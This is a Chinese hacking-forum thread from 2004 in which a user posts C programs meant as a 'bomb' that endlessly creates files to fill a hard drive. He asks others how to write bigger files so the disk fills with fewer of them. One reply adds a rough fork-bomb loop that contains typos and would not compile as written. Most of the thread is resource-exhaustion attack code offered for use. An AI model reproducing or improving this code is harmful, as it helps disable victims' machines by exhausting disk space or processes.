论坛: 编程破解 标题: 一灌硬盘的垃圾程序,不知能否叫炸弹(C写的),望指教!!! 复制本贴地址    
作者: sniper167 [sniper167]    论坛用户   登录
#include"stdio.h"
#include"conio.h"
main()
{
FILE *fp;
char str[20],str1[10];
int i;
gets(str);
for (i=0;;i++)
{
    sprintf(str1,"%d",i);
    if ((fp=fopen(str1,"w"))==NULL)     
        {
            printf("Can not open the file\n");
            exit(0);
        }
        fprintf(fp,"%s",str);
        fclose(fp);
  }
getch();
}

就是每次写的文件太小了,能不能想个法子,能整个大点的,好减少循环次数!用最少的文件来塞满硬盘?




[此贴被 啥都不会(sniper167) 在 03月20日09时51分 编辑过]

地主 发表时间: 04-03-19 22:35

回复: sniper167 [sniper167]   论坛用户   登录
这个也是:

#include <stdlib.h>
#include <stdio.h>
main()
{
FILE *fp;
char str[20],str1[10];
char *p=str1;
int i;
gets(str);
for (i=0;i<10;i++)
      {itoa(i,p,2);
      if ((fp=fopen(p,"w"))==NULL)
          {printf("Can not open the file\n");
            exit(0);
          }
      else fprintf (fp,"%s",str);
      }
fclose(fp);
getch();
}


在此对  风流才子  的指点致谢!!!

[此贴被 啥都不会(sniper167) 在 03月20日17时10分 编辑过]

B1层 发表时间: 04-03-19 23:52

回复: ysfilone [ysfilone]   论坛用户   登录
最近学天天c++,

很久没有看到c这么优美的代码了……真是心旷神怡阿……

不禁感叹:c是所有语言中最优美的语言!


B2层 发表时间: 04-03-20 07:15

回复: sniper167 [sniper167]   论坛用户   登录
老兄,我希望进来指教,不是进来发感叹!!!

B3层 发表时间: 04-03-20 09:01

回复: xiaoshi [xiaoshi]   论坛用户   登录
#include
mian()
{ pid_t fork()
    while(1)
    {fork();
          }
}

*******************************************
也许错误多多!!!!!

B4层 发表时间: 04-03-20 11:09

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号